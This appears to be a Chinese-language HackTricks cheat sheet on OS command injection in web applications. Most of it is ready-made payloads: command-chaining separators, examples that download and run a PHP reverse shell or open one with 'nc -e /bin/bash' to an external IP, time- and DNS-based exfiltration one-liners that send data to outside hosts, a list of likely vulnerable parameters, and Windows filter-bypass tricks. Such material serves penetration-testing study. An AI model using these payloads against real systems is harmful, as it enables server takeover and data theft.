hacktricks/pentesting-web/command-injection.md

# 命令注入

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## 什么是命令注入？

**命令注入** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。因此，应用程序及其所有数据可能会完全被破坏。这些命令的执行通常允许攻击者获得对应用程序环境和底层系统的未经授权的访问或控制。

### 上下文

根据 **输入被注入的位置**，您可能需要在命令之前 **终止引用上下文**（使用 `"` 或 `'`）。

## 命令注入/执行
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **限制** 绕过

如果您试图在 **linux 机器内部执行任意命令**，您会对以下 **绕过** 感兴趣：

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %}

### **示例**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### 参数

以下是可能容易受到代码注入和类似RCE漏洞的前25个参数（来自 [link](https://twitter.com/trbughunters/status/1283133356922884096)）：
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### 基于时间的数据外泄

逐字符提取数据:
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```
### 基于DNS的数据外泄

基于工具 `https://github.com/HoLyVieR/dnsbin`，也托管在 dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
在线工具检查基于DNS的数据外泄：

* dnsbin.zhack.ca
* pingb.in

### 过滤绕过

#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %}

## 暴力破解检测列表

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

## 参考文献

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)

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</details>
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<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>

\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) 轻松构建和 **自动化工作流程**，由世界上 **最先进** 的社区工具提供支持。\
今天就获取访问权限：

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}